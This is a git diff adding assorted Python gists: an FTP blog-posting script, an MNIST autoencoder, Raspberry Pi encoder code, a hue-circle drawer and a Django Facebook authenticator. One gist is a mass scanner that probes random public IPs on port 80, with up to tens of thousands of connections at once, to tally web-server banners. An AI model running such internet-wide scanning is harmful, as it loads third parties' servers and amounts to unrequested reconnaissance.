+today = datetime.datetime.now()
+image = clipboard.get_image()
+imgFileName = console.input_alert("Image Title", "Enter Image File Name")
+title = console.input_alert("Article Title", "Enter the article title")
+sts = console.alert("Status","Choose the article 	status","Live","Draft","Hidden")
+category = console.input_alert("Post category", "Enter a category")
+words = console.input_alert("Article Text", "Enter your thoughts")
+imgFileName = imgFileName +'_'+ today.strftime("%Y-%m-%d-%H%M%S") +'.png'
+
+if sts == 1:
+	status = "live"
+elif sts == 2:
+	status = "draft"
+elif sts == 3:
+	status = "hidden"
+
+# Can we connect to the FTP?
+try:
+	console.show_activity()
+	ftp = ftplib.FTP(host, userName, userPass)
+	console.hide_activity()
+except Exception as e:
+	print "Unable to connect to FTP"
+
+# trying to retrieve the folders used in the 'txtRemotePath' directory
+# returns a simple dictionary with folders info separated. 
+def get_folders():
+	try:
+		console.show_activity()
+		ftp.cwd(txtRemotePath)
+		data = []
+		ftp.retrlines('MLSD', data.append)
+		dir = []
+		for line in data:
+			facts_found, _, name = line.rstrip('CRLF').partition(' ')
+			entry = {}
+			for fact in facts_found[:-1].split(";"):
+				key, _, value = fact.partition("=")
+				entry[key.lower()] = value
+			if entry['type'] == 'dir':
+				dir.append(name)
+
+		count = 0
+		folders = []
+		for eachDir in dir:
+			folder = eachDir.partition("-")[2]
+			folders.append([count,eachDir,folder])
+			count +=1
+		
+		return folders
+
+	except Exception as e:
+		print "Unable to get folder listing"
+
+# Generates the actual text for the article with YAML headers
+def make_file(template,values):
+	yaml_fe = Template(template)
+	result = yaml_fe.safe_substitute(values)
+	return result
+
+# Found this at https://gist.github.com/4021956
+# this will help when we need to slugify your title for the filename
+def slug(text, encoding=None, permitted_chars='abcdefghijklmnopqrstuvwxyz0123456789-'):
+	if isinstance(text, str):
+		text = text.decode(encoding or 'ascii')
+	clean_text = text.strip().replace(' ', '-').lower()
+	while '--' in clean_text:
+		clean_text = clean_text.replace('--','-')
+	ascii_text = normalize('NFKD', clean_text).encode('ascii', 'ignore')
+	strict_text = map(lambda x: x if x in permitted_chars else '', ascii_text)
+	return ''.join(strict_text)
+
+# David's code to resize your clipboard image
+def customSize(img):
+    w, h = img.size
+    print 'w: ' + str(w)
+    print 'h: '+ str(h)
+    if w > 600:
+        wsize = 600/float(w)
+        print 'wsize: '+str(wsize)
+        hsize = int(float(h)*float(wsize))
+        print 'hsize: ' + str(hsize)
+ 
+        img = img.resize((600, hsize), Image.ANTIALIAS)
+    return img
+
+# Nothing to see here. Just the fun stuff coming together.
+image = customSize(image)
+print image.size
+image.show()
+print title + " (" + status + ")"
+print words
+ 
+imgBuffer = BytesIO()
+image.save(imgBuffer, 'png')
+imgBuffer.seek(0)
+
+folders = get_folders()
+
+# I decided to stop at 3 folders in the assets directory. I only have 2
+# and more than 3 seemed like the exception not the rule so I got lazy.
+if len(folders) == 1:
+	folder_slug = 1
+elif len(folders) == 2:
+	folder_slug = console.alert("Category","Choose image folder",folders[0][2].title(),folders[1][2].title())
+elif len(folders) == 3:
+	folder_slug = console.alert("Category","Choose image folder",folders[0][2].title(),folders[1][2].title(),folders[2][2].title())
+
+imgRemoteFilePath = imgRemotePath + folders[folder_slug-1][2] + "/"
+txtRemoteFilePath = txtRemotePath + folders[folder_slug-1][1] + "/"
+
+# My site uses the _entry_timestamps variable 
+# set to true so you may need to modify the
+# date format below
+title_slug = slug(title)
+txtFileName = today.strftime("%Y-%m-%d-%H%M") +'_'+ title_slug +'.md'
+
+fileURL = urllib.quote(imgFileName)
+imageLink = imgRemoteFilePath+fileURL
+imgMarkdownFilePath = imgBase + folders[folder_slug-1][2] + "/" + fileURL
+
+# Told you it was way down here. These '$y' keys and their corresponding
+# values need to match whatever you have listed at the top in the 
+# 'template' variable
+values = {
+	"yTitle" : title,
+	"yTemplate" : post_template_name,
+	"yAuthor" : author,
+	"yCategories" : category,
+	"yStatus" : status,
+	"yPhotos" : imgMarkdownFilePath,
+	"yContent" : words
+}
+
+txtData = make_file(template,values)
+ 
+txtBuffer = cStringIO.StringIO()
+txtBuffer.write(txtData)
+txtBuffer.seek(0)
+
+# Doing some uploading here.
+try:
+	console.show_activity()
+	ftp.cwd(imgRemoteFilePath)
+	ftp.storbinary('STOR '+imgFileName, imgBuffer)
+	console.hide_activity()
+except Exception as e:
+	print "Unable save image file"
+
+try:
+	console.show_activity()
+	ftp.cwd(txtRemoteFilePath)
+	ftp.storbinary('STOR '+txtFileName, txtBuffer)
+	console.hide_activity()
+except Exception as e:
+	print "Unable save article file"
+
+ftp.quit()
+
+print "\n=================\nFinished"
diff --git a/hard-gists/455694506ee6595c92e4/._snippet.py b/hard-gists/455694506ee6595c92e4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/455694506ee6595c92e4/._snippet.py differ
diff --git a/hard-gists/455694506ee6595c92e4/snippet.py b/hard-gists/455694506ee6595c92e4/snippet.py
new file mode 100644
index 00000000..cc72d144
--- /dev/null
+++ b/hard-gists/455694506ee6595c92e4/snippet.py
@@ -0,0 +1,309 @@
+import argparse
+import numpy as np
+from sklearn.datasets import fetch_mldata
+from chainer import Variable, FunctionSet, optimizers, cuda
+import chainer.functions  as F
+import brica1
+
+class Perceptron():
+    def __init__(self, n_in, n_out, use_cuda=False):
+        self.model = FunctionSet(
+            transform=F.Linear(n_in, n_out)
+        )
+        self.use_cuda = use_cuda
+
+        if self.use_cuda:
+            self.model.to_gpu()
+
+        self.optimizer = optimizers.Adam()
+        self.optimizer.setup(self.model.collect_parameters())
+
+    def predict(self, x_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+        x = Variable(x_data)
+        y = F.softmax(self.model.transform(x))
+        return cuda.to_cpu(y.data)
+
+    def cost(self, x_data, y_data):
+        x = Variable(x_data)
+        t = Variable(y_data)
+        y = self.model.transform(x)
+        return F.softmax_cross_entropy(y, t), F.accuracy(y, t)
+
+    def train(self, x_data, y_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+            y_data = cuda.to_gpu(y_data)
+        self.optimizer.zero_grads()
+        loss, acc = self.cost(x_data, y_data)
+        loss.backward()
+        self.optimizer.update()
+        return float(cuda.to_cpu(loss.data)), float(cuda.to_cpu(acc.data))
+
+    def test(self, x_data, y_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+            y_data = cuda.to_gpu(y_data)
+        loss, acc = self.cost(x_data, y_data)
+        return float(cuda.to_cpu(loss.data)), float(cuda.to_cpu(acc.data))
+
+class DenoisingAutoencoder():
+    def __init__(self, n_in, n_hidden, use_cuda=False):
+        self.model = FunctionSet(
+            encode=F.Linear(n_in, n_hidden),
+            decode=F.Linear(n_hidden, n_in)
+        )
+        self.use_cuda = use_cuda
+
+        if self.use_cuda:
+            self.model.to_gpu()
+
+        self.optimizer = optimizers.Adam()
+        self.optimizer.setup(self.model.collect_parameters())
+
+    def encode(self, x_var):
+        return F.sigmoid(self.model.encode(x_var))
+
+    def decode(self, x_var):
+        return F.sigmoid(self.model.decode(x_var))
+
+    def predict(self, x_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+        x = Variable(x_data)
+        p = self.encode(x)
+        return cuda.to_cpu(p.data)
+
+    def cost(self, x_data):
+        x = Variable(x_data)
+        t = Variable(x_data)
+        x_n = F.dropout(x)
+        h = self.encode(x_n)
+        y = self.decode(h)
+        return F.mean_squared_error(y, t)
+
+    def train(self, x_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+        self.optimizer.zero_grads()
+        loss = self.cost(x_data)
+        loss.backward()
+        self.optimizer.update()
+        return float(cuda.to_cpu(loss.data))
+
+    def test(self, x_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+        loss = self.cost(x_data)
+        return float(cuda.to_cpu(loss.data))
+
+class MNISTSensor(brica1.Component):
+    def __init__(self, N_train=60000, batchsize=100):
+        super(MNISTSensor, self).__init__()
+        mnist = fetch_mldata('MNIST original')
+        mnist.data = mnist.data.astype(np.float32)
+        mnist.data /= 255
+        mnist.target = mnist.target.astype(np.int32)
+
+        _, x_dim = mnist.data.shape
+        y_dim = 1
+
+        x_train, x_test = np.split(mnist.data, [N_train])
+        y_train, y_test = np.split(mnist.target, [N_train])
+        N_test = y_test.size
+
+        self.x_train = x_train
+        self.y_train = y_train
+        self.x_test = x_test
+        self.y_test = y_test
+        self.N_train = N_train
+        self.N_test = N_test
+        self.i_train = 0
+        self.i_test = 0
+        self.batchsize = batchsize
+
+        self.make_out_port("x_train", x_dim)
+        self.make_out_port("y_train", y_dim)
+        self.make_out_port("x_test", x_dim)
+        self.make_out_port("y_test", y_dim)
+
+        self.set_out_port("x_train", brica1.Port(np.zeros((x_dim, 1), dtype=np.float32)))
+        self.set_out_port("x_test", brica1.Port(np.zeros((x_dim, 1), dtype=np.float32)))
+
+        self.fire()
+        self.output(0.0)
+
+    def fire(self):
+        if self.i_train == 0:
+            perm = np.random.permutation(self.N_train)
+            self.x_train = self.x_train[perm]
+            self.y_train = self.y_train[perm]
+
+        x_train_batch = self.x_train[self.i_train:self.i_train+self.batchsize]
+        y_train_batch = self.y_train[self.i_train:self.i_train+self.batchsize]
+        x_test_batch = self.x_test[self.i_test:self.i_test+self.batchsize]
+        y_test_batch = self.y_test[self.i_test:self.i_test+self.batchsize]
+
+        self.results["x_train"] = x_train_batch
+        self.results["y_train"] = y_train_batch
+        self.results["x_test"] = x_test_batch
+        self.results["y_test"] = y_test_batch
+
+        self.i_train = (self.i_train + self.batchsize) % self.N_train
+        self.i_test = (self.i_test + self.batchsize) % self.N_test
+
+class DAComponent(brica1.Component):
+    def __init__(self, n_in, n_hidden, min_loss=0.001, max_cycles=100000, use_cuda=False):
+        super(DAComponent, self).__init__()
+        self.dA = DenoisingAutoencoder(n_in, n_hidden, use_cuda=use_cuda)
+        self.n_in = n_in
+        self.n_hidden = n_hidden
+        self.make_in_port("in", n_in)
+        self.make_out_port("out", n_hidden)
+        self.min_loss = min_loss
+        self.max_cycles = max_cycles
+        self.train = True
+        self.loss = 999.0
+        self.cycle = 0
+
+    def fire(self):
+        x_train = self.inputs["in"]
+
+        if len(x_train.shape) != 2:
+            return
+
+        M, N = x_train.shape
+
+        if N != self.n_in:
+            return
+
+        if self.train:
+            self.loss = self.dA.train(self.inputs["in"])
+            self.cycle += 1
+
+            if self.loss <= self.min_loss:
+                self.train = False
+
+            if self.max_cycles <= self.cycle:
+                self.train = False
+
+        self.results["out"] = self.dA.predict(x_train)
+
+class PerceptronComponent(brica1.Component):
+    def __init__(self, n_in, n_out, min_loss=0.001, max_cycles=1000000, use_cuda=False):
+        super(PerceptronComponent, self).__init__()
+        self.perceptron = Perceptron(n_in, n_out, use_cuda=use_cuda)
+        self.n_in = n_in
+        self.n_out = n_out
+        self.make_in_port("x_in", n_in)
+        self.make_in_port("y_in", n_in)
+        self.make_out_port("out", n_out)
+        self.min_loss = min_loss
+        self.max_cycles = max_cycles
+        self.train = True
+        self.loss = 999.0
+        self.acc = 0.0
+        self.cycle = 0
+
+    def fire(self):
+        x_train = self.inputs["x_in"]
+        y_train = self.inputs["y_in"]
+
+        if len(x_train.shape) != 2:
+            return
+
+        M, N = x_train.shape
+
+        if N != self.n_in:
+            return
+
+        if self.train:
+            loss, acc = self.perceptron.train(x_train, y_train)
+            self.loss = loss
+            self.acc = acc
+            self.cycle += 1
+
+            if self.loss <= self.min_loss:
+                self.train = False
+
+            if self.max_cycles <= self.cycle:
+                self.train = False
+
+        self.results["out"] = self.perceptron.predict(x_train)
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(description='SdA with Chainer + BriCA')
+    parser.add_argument('--gpu', '-g', default=-1, type=int,
+                        help='GPU ID (negative value indicates CPU)')
+    args = parser.parse_args()
+
+    use_gpu = False
+    if args.gpu >= 0:
+        use_gpu = True
+        cuda.init(args.gpu)
+
+    s = brica1.VirtualTimeScheduler()
+    ca = brica1.Agent(s)
+
+    cycles = 24000
+    sensor = MNISTSensor()
+    da1 = DAComponent(784, 1000, use_cuda=use_gpu, max_cycles=cycles)
+    da2 = DAComponent(1000, 1000, use_cuda=use_gpu, max_cycles=cycles)
+    da3 = DAComponent(1000, 1000, use_cuda=use_gpu, max_cycles=cycles)
+    perceptron = PerceptronComponent(1000, 10, use_cuda=use_gpu, max_cycles=cycles)
+
+    sda = brica1.ComponentSet()
+    brica1.connect((da1, "out"), (da2, "in"))
+    brica1.connect((da2, "out"), (da3, "in"))
+    sda.add_component("da1", da1, 0)
+    sda.add_component("da2", da2, 1)
+    sda.add_component("da3", da3, 2)
+    sda.make_in_port("x_in", 784)
+    sda.make_in_port("y_in", 1)
+    sda.make_out_port("out", 1)
+
+    brica1.connect((sensor, "x_train"), (da1, "in"))
+    brica1.connect((da1, "out"), (da2, "in"))
+    brica1.connect((da2, "out"), (da3, "in"))
+    brica1.connect((da3, "out"), (perceptron, "x_in"))
+    brica1.connect((sensor, "y_train"), (perceptron, "y_in"))
+
+    sda = brica1.ComponentSet()
+    sda.make_out_port("out", 1)
+    sda.add_component("sensor", sensor, 0)
+    sda.add_component("da1", da1, 1)
+    sda.add_component("da2", da2, 2)
+    sda.add_component("da3", da3, 3)
+    sda.add_component("perceptron", perceptron, 4)
+    brica1.alias_out_port((sda, "out"), (perceptron, "out"))
+
+    mod = brica1.Module()
+    mod.make_out_port("out", 1)
+    mod.add_component("sda", sda)
+    brica1.alias_out_port((mod, "out"), (sda, "out"))
+
+    ca.add_submodule("mod", mod)
+
+    epoch = 0
+    while perceptron.train:
+        da1_sum = 0
+        da2_sum = 0
+        da3_sum = 0
+        acc_sum = 0
+        for i in xrange(600):
+            time = ca.step()
+            da1_sum += da1.loss
+            da2_sum += da2.loss
+            da3_sum += da3.loss
+            acc_sum += perceptron.acc
+            if (int(time) + 1) % 100 == 0:
+                print "Time {:}: L1={:.5f} L2={:.5f} L3={:.5f} Acc={:.5f}".format(time+1, da1.loss, da2.loss, da3.loss, perceptron.acc)
+
+        epoch += 1
+        da1_avg = da1_sum / 600
+        da2_avg = da2_sum / 600
+        da3_avg = da3_sum / 600
+        acc_avg = acc_sum / 600
+
+        print "Epoch {:}: L1={:.5f} L2={:.5f} L3={:.5f} Acc={:.5f}".format(epoch, da1_avg, da2_avg, da3_avg, acc_avg)
\ No newline at end of file
diff --git a/hard-gists/4558903/._snippet.py b/hard-gists/4558903/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4558903/._snippet.py differ
diff --git a/hard-gists/4558903/snippet.py b/hard-gists/4558903/snippet.py
new file mode 100644
index 00000000..3e643362
--- /dev/null
+++ b/hard-gists/4558903/snippet.py
@@ -0,0 +1,77 @@
+#!/usr/local/bin/python
+# m0xpd
+# shack.nasties 'at Gee Male dot com'
+import RPi.GPIO as GPIO
+# setup GPIO options...
+GPIO.setmode(GPIO.BOARD)
+GPIO.setwarnings(False)
+
+
+class RotaryEnc:
+    'Base Class for Rotary Encoder on the RPi GPIO Pins'
+    
+    def __init__(self,PinA,PinB,button,Position,REmin,REmax,inc):
+        
+        self.PinA = PinA                                        # GPIO Pin for encoder PinA
+        self.PinB = PinB                                        # GPIO Pin for encoder PinB
+        self.button = button                                    # GPIO Pin for encoder push button
+        self.Position = Position                                # encoder 'position'
+        self.min = REmin                                        # Max value
+        self.max = REmax                                        # Min value
+        self.inc = inc                                          # increment        
+        self.old_button = 1                                     # start value for previous button state
+        self.oldPinA = 1                                        # start value for previous PinA state
+        self.button_release = 0                                 # initialise outputs
+        self.button_down = 0                                    # initialise outputs        
+        GPIO.setup(self.PinA, GPIO.IN)                          # setup IO bits...
+        GPIO.setup(self.PinB, GPIO.IN)                          #
+        GPIO.setup(self.button, GPIO.IN)                        #
+                                                                #
+    def read(self):                                             # Function to Read encoder...
+        encoderPinA=GPIO.input(self.PinA)                       # get inputs...
+        encoderPinB=GPIO.input(self.PinB)                       #
+        if encoderPinA and not self.oldPinA:                    # Transition on PinA?
+                if not encoderPinB:                             #    Yes: is PinB High?
+                        self.Position=self.Position+self.inc    #        No - so we're going clockwise
+                        if self.Position > self.max:            #        limit maximum value
+                                self.Position = self.max        #
+                                                                #
+                else:                                           #
+                                                                #           
+                        self.Position=self.Position-self.inc    #        Yes - so we're going anti-clockwise
+                        if self.Position < self.min:            #        limit minimum value
+                                self.Position = self.min        #     
+        self.oldPinA=encoderPinA                                #    No: just save current PinA state for next time        
+                                                                #
+    def read_button(self):                                      # Function to Read encoder button...
+        button=GPIO.input(self.button)                          # get input...
+        if button and not self.old_button:                      # 'Upward' transition on button?
+            self.button_release=1                               #      Yes - so set release output
+        else:                                                   #    
+            self.button_release=0                               #      No - so clear it
+        if not button and self.old_button:                      # 'Downward' transition on button?
+            self.button_down = 1                                #       Yes - so set 'down' button
+        else:                                                   #                                                
+            self.button_down = 0                                #       No - so clear it
+        self.old_button=button                                  # Save current button state for next time
+
+# -------------------------------------------------------------------------------------------------------------------
+# Here's a simple example of how to use the RotaryEnc Class ...
+#
+# Set up Rotary Encoder...
+#  format is : RotaryEnc(PinA,PinB,button,Position,REmin,REmax,inc):
+Position = 1                                                    # Position is also used as a variable
+RE1 = RotaryEnc(12,16,18,Position,0,10,1)                       # Instatiate the encoder                         
+
+
+# Main Operating Loop...
+while True:
+    RE1.read()                                                  # Read the encoder    
+    if Position <> RE1.Position:                                # has the position changed?
+        print RE1.Position                                      # Yes: so print new value
+        Position = RE1.Position                                 #      and update it                
+    RE1.read_button()                                           # Read the button  
+    if RE1.button_down:                                         # Has it been pressed?
+        print 'Button Pressed'                                  # Yes: so print a message
+    if RE1.button_release:                                      # Has it been released
+        print 'Button Released'                                 # Yes: so print a message
diff --git a/hard-gists/4565147/._snippet.py b/hard-gists/4565147/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4565147/._snippet.py differ
diff --git a/hard-gists/4565147/snippet.py b/hard-gists/4565147/snippet.py
new file mode 100644
index 00000000..52287cb9
--- /dev/null
+++ b/hard-gists/4565147/snippet.py
@@ -0,0 +1,270 @@
+#/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+#           _______  _______  _       _________ _        _______ 
+# |\     /|(  ___  )(  ____ )( (    /|\__   __/( (    /|(  ____ \
+# | )   ( || (   ) || (    )||  \  ( |   ) (   |  \  ( || (    \/
+# | | _ | || (___) || (____)||   \ | |   | |   |   \ | || |      
+# | |( )| ||  ___  ||     __)| (\ \) |   | |   | (\ \) || | ____ 
+# | || || || (   ) || (\ (   | | \   |   | |   | | \   || | \_  )
+# | () () || )   ( || ) \ \__| )  \  |___) (___| )  \  || (___) |
+# (_______)|/     \||/   \__/|/    )_)\_______/|/    )_)(_______)
+#
+# If you use this script, your ISP might think you've got a trojan
+# and sandbox you, ban you or whatevery they think is appropriate.
+#
+# This script collects the Monte Carlo web-server statistic-data by
+# connecting to random web-servers and asking it for its name.
+# The results are stored in a dictionary with each identification string
+# as key and the count of web-servers found as value.
+
+#
+# If you want to test the maximum speed / concurrent connections
+# remove these lines
+#        if hcount > 10000:
+#            time.sleep(1)
+# and run a process per core on your machine. Processes have to have
+# different working directories!
+#
+# Features:
+#
+# * Defining maximum number of concurrent connections. This is important
+#   for OS X and maybe other BSD based systems. They tend to lockup beyond
+#   9000 connections. I even had random reboots on OSX.
+# * Linux on the other hand just scales and scales and scales. ;-)
+# * I was able to maintain 80'000 connections on linux with four processes
+#   -> Then I hit the limit of the upstream-bandwidth at home.
+# * It only tries to access valid IPs (ie. ignores private IPs)
+# * It dumps snapshots of the collected data every 5000 sucessful connections
+# * It uses tornados supercool read_until_regex function
+# * IPs are feed to the ioloop by a seperate thread
+# * it properly cleanups used connections after 6 seconds
+# -> To make the script faster you can reduce this timeout, although then
+#    you might miss some slow servers/connections.
+# * It locks shared datastructures.
+# * I used tornade.gen to write async-code as single function using
+#   coroutines. Coroutines are one reason I love lua and python!
+#   Async-code gets so much more readable!
+# * Its not tested on python2 use python3.2 or higher
+# * Use 3to2-3.x to convert the iptools module
+#    3to2-3.2 -w
+#    python setup.py install
+# !! CONFIGURE YOUR OS to the maximum concurrent connections you want
+#    test. If the hardlimit is already hight enough the script will
+#    set a limit of 10240.
+# * Remove the resource.setrlimit code if your OS doesn't support it.
+# * It uses closure to settings to callbacks
+# * I hope the tornado.iostream methods are threadsafe. In a production system
+#   you should definitely move these calls to the main thread.
+
+import tornado.gen
+import tornado
+from tornado import ioloop
+from tornado import iostream
+import re
+import socket
+import sys
+import time
+import _thread
+import pickle
+import os
+import iptools
+import resource
+import random
+
+# use sysctl on osx or /etc/security/limits.conf on linux to increase number of
+# files
+l = resource.getrlimit(resource.RLIMIT_NOFILE)
+resource.setrlimit(resource.RLIMIT_NOFILE, (10240, l[1]))
+print(resource.getrlimit(resource.RLIMIT_NOFILE))
+
+print(os.getpid())
+print(sys.version)
+print("Tornado version: %s" % tornado.version)
+
+t0 = time.time()
+random.seed(t0)
+
+# Stores socket information to clear old sockets that haven't been answered
+hosts = {}
+# Logging the server we have connected
+servers_connected = list()
+# Count connection tries
+count = 0
+# The actual anonymous statistics we want to create. This is the raw data, it
+# has to be condensed for interesting charts/figures.
+webservers = {}
+# The hosts dict is accessed by two threads
+lock = _thread.allocate_lock()
+# The regex to find the server in the headers
+find_server = re.compile(b"^.erver: ([^\n\r]+)", re.MULTILINE)
+
+
+def countinc():
+    """Increment count and write status or snapshot the collected data"""
+    global count
+    global servers_connected
+    count += 1
+    csuccess = len(servers_connected)
+    # Write state to console
+    if count % 100 == 0:
+        sys.stdout.write("\rDone: %d (%d) success unsaved: %d      " % (
+            count,
+            len(hosts),
+            csuccess
+        ))
+        sys.stdout.flush()
+    # Snapshot the current statistics
+    if csuccess > 5000:
+        pickle.dump(
+            webservers,
+            open(
+                "webservers.p",
+                "wb"
+            )
+        )
+        pickle.dump(
+            servers_connected,
+            open(
+                "servers_connected.p",
+                "wb"
+            )
+        )
+        os.rename("webservers.p", "webservers.poc")
+        os.rename("servers_connected.p", "servers_connected.%d.poc" % count)
+        servers_connected = list()
+
+
+@tornado.gen.engine
+def send_request(host, stream):
+    """We use tornado gen to collapse async method calls in one method"""
+    # The server type is unknown if we can't parse the headers
+    server = [host, "unknown"]
+    servers_connected.append(server)
+    stream.write(("GET / HTTP/1.0\r\nHost: %s\r\n\r\n" % host).encode())
+    data = yield tornado.gen.Task(
+        stream.read_until_regex,
+        find_server
+    )
+    m = find_server.search(data)
+    if m:
+        try:
+            server[1] = m.groups()[0].decode()
+        except:
+            pass
+    if server[1] in webservers:
+        webservers[server[1]] += 1
+    else:
+        webservers[server[1]] = 1
+    sys.stderr.write("%s\n" % server)
+    stream.close()
+
+
+def close_stream(host, stream):
+    """Bookkeeping: delete closed hosts from the dict"""
+    lock.acquire()
+    try:
+        del hosts[host]
+    except:
+        pass
+    lock.release()
+    countinc()
+
+# IpRanges to check if we generated an valid IP
+# Tip: Use 3to2-3.x to convert the iptools module
+
+classA = iptools.IpRange('1.0.0.0', '126.0.0.0')
+classB = iptools.IpRange('128.0.0.0', '191.0.0.0')
+classC = iptools.IpRange('192.0.0.0', '223.0.0.0')
+privA = iptools.IpRange('10.0.0.0', '10.255.255.255')
+privB = iptools.IpRange('172.16.0.0', '172.31.255.255')
+privC = iptools.IpRange('192.168.0.0', '192.168.255.255')
+max_ip = 2 ** 32
+
+
+# In python3 this is so much nicer to write!
+def int_to_ip(ip):
+    """Convert 32-bit integer to an IP"""
+    return socket.inet_ntoa(ip.to_bytes(4, 'big'))
+
+
+def ip_ranges():
+    """Generator creates random IPs and yields it if it is valid"""
+    while True:
+        ip = random.randint(0, max_ip)
+        ip = int_to_ip(ip)
+        if (
+            (
+                ip in classA or
+                ip in classB or
+                ip in classC
+            ) and not (
+                ip in privA or
+                ip in privB or
+                ip in privC
+            )
+        ):
+            yield ip
+
+
+def fill_hosts(nop):
+    """Generate IPs and create socket and streams, this runs in a thread"""
+    for host in ip_ranges():
+        s = socket.socket(
+            socket.AF_INET,
+            socket.SOCK_STREAM,
+            0
+        )
+        conn_info = [s, time.time()]
+        lock.acquire()
+        hosts[host] = conn_info
+        hcount = len(hosts)
+        lock.release()
+        # Delay socket creation if we almost reached the limit
+        if hcount > 10000:
+            time.sleep(1)
+        stream = iostream.IOStream(s)
+        conn_info.append(stream)
+        # Putting current host and stream into a closure.
+        # That's nice and easy.
+        stream.set_close_callback(
+            lambda host=host, stream=stream:
+            close_stream(host, stream)
+        )
+        stream.connect(
+            (host, 80),
+            lambda host=host, stream=stream:
+            send_request(host, stream)
+        )
+
+
+def socket_cleanup():
+    """Cleanup unansered sockets that are older than X seconds.
+    This is called async, but in the main thread, therefore want
+    can possible go wrong? Well, we have to lock the hosts dict."""
+    t1 = time.time()
+    lock.acquire()
+    for key in hosts:
+        tmp_host = hosts[key]
+        if t1 - tmp_host[1] > 6:
+            try:
+                tmp_host[0].shutdown(socket.SHUT_RDWR)
+            except:
+                pass
+            tmp_host[2].close()
+            tmp_host[0].close()
+    lock.release()
+    # Call this again in X seconds
+    ioloop.IOLoop.instance().add_timeout(
+        time.time() + 4, socket_cleanup
+    )
+
+# Start the fill-thread
+_thread.start_new_thread(fill_hosts, (None,))
+print("Go go go")
+# Register the timeout for the cleanup
+ioloop.IOLoop.instance().add_timeout(
+    time.time() + 4, socket_cleanup
+)
+# Run the ioloop
+ioloop.IOLoop.instance().start()
\ No newline at end of file
diff --git a/hard-gists/4571292/._snippet.py b/hard-gists/4571292/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4571292/._snippet.py differ
diff --git a/hard-gists/4571292/snippet.py b/hard-gists/4571292/snippet.py
new file mode 100644
index 00000000..1ccbc86e
--- /dev/null
+++ b/hard-gists/4571292/snippet.py
@@ -0,0 +1,59 @@
+import Image
+import math
+
+def hsv_to_rgb(h, s, v):
+    if s * v == 0:
+        r, g, b =  v, v, v
+    else:
+        hi =  int(math.floor(3 * h / math.pi)) % 6
+        f = 3 * h / math.pi - hi;
+        p = v * (1.0 - s)
+        q = v * (1.0 - f * s)
+        t = v * (1.0 - (1.0 - f) * s)
+        if hi == 0:
+            r, g, b = v, t, p
+        elif hi == 1:
+            r, g, b = q, v, p
+        elif hi == 2:
+            r, g, b = p, v, t 
+        elif hi == 3:
+            r, g, b = p, q, v
+        elif hi == 4:
+            r, g, b = t, p, v
+        else:
+            r, g, b = v, p, q
+    return r, g, b
+
+def draw_circle(v):
+    WIDTH = 640
+    HEIGHT = 640
+    R = 300
+    center = (WIDTH / 2, HEIGHT / 2)
+    band_r = Image.new('L', (WIDTH, HEIGHT))
+    band_g = Image.new('L', (WIDTH, HEIGHT))
+    band_b = Image.new('L', (WIDTH, HEIGHT))
+    for y in range(HEIGHT):
+        for x in range(WIDTH):
+            tx, ty = x - center[0], y - center[1]
+            d = math.sqrt(tx * tx + ty * ty)
+            if d <= R:
+                if d == 0:
+                    t = 0
+                else:
+                    if 0 <= ty:
+                        t = math.acos(tx / d)
+                    else:
+                        t = 2 * math.pi - math.acos(tx / d)
+                r, g, b = hsv_to_rgb(t, d / R, v)
+                band_r.putpixel((x,y), 255 * r)
+                band_g.putpixel((x,y), 255 * g)
+                band_b.putpixel((x,y), 255 * b)
+            else:
+                band_r.putpixel((x,y), 0)
+                band_g.putpixel((x,y), 0)
+                band_b.putpixel((x,y), 0)
+    im = Image.merge('RGB', (band_r, band_g, band_b))
+    im.save('huecircle.png')
+
+if __name__ == '__main__':
+    draw_circle(0.7)
diff --git a/hard-gists/4574656/._snippet.py b/hard-gists/4574656/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4574656/._snippet.py differ
diff --git a/hard-gists/4574656/snippet.py b/hard-gists/4574656/snippet.py
new file mode 100644
index 00000000..41b58f41
--- /dev/null
+++ b/hard-gists/4574656/snippet.py
@@ -0,0 +1,42 @@
+"""
+This allows clients to log into your Django Tastypie APIs with Facebook (i.e. 
+instead of username/password credentials).  
+
+Django-facebook takes care of the communication with Facebook, and updates or 
+registers users in your system with their Facebook data.
+
+Rough outline:
+1. Install django-facebook
+2. Use or extend django-facebook's FacebookProfileModel for your Django AUTH_PROFILE_MODULE
+3. Add FacebookAuthentication as authentication on your API
+4. Update clients to send a valid FB OAuth access token in the HTTP Authorization header
+
+References:
+https://www.djangoproject.com/ (Django)
+http://django-tastypie.readthedocs.org/en/latest/toc.html (Django-Tastypie)
+https://github.com/tschellenbach/Django-facebook (Django-Facebook)
+https://developers.facebook.com/docs/concepts/login/ (Facebook Login)
+"""
+from tastypie.authentication import Authentication
+from django_facebook.connect import connect_user
+
+import logging
+logger = logging.getLogger(__name__)
+
+class FacebookAuthentication(Authentication):  
+  def __init__(self):
+    super(FacebookAuthentication, self).__init__()
+
+  def is_authenticated(self, request, **kwargs):
+    auth_params = request.META.get("HTTP_AUTHORIZATION", '')
+    if auth_params:
+      parts = auth_params.split()
+      if len(parts) == 2:
+        if parts[0] == 'OAuth':
+          access_token = parts[1]
+          try:
+            action, user = connect_user(request, access_token=access_token)
+            return True
+          except Exception, err:
+            logger.error('ERROR {0}: {1}'.format(self.__class__.__name__, str(err)))
+    return False
diff --git a/hard-gists/4575855/._snippet.py b/hard-gists/4575855/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4575855/._snippet.py differ
diff --git a/hard-gists/4575855/snippet.py b/hard-gists/4575855/snippet.py
new file mode 100644
index 00000000..b609a88f
--- /dev/null
+++ b/hard-gists/4575855/snippet.py
@@ -0,0 +1,15 @@
+from django.test import client
+
+# Call this function on head of your test file.
+
+def patch_request_factory():
+    def _method(self, path, data='', content_type='application/octet-stream', follow=False, **extra):
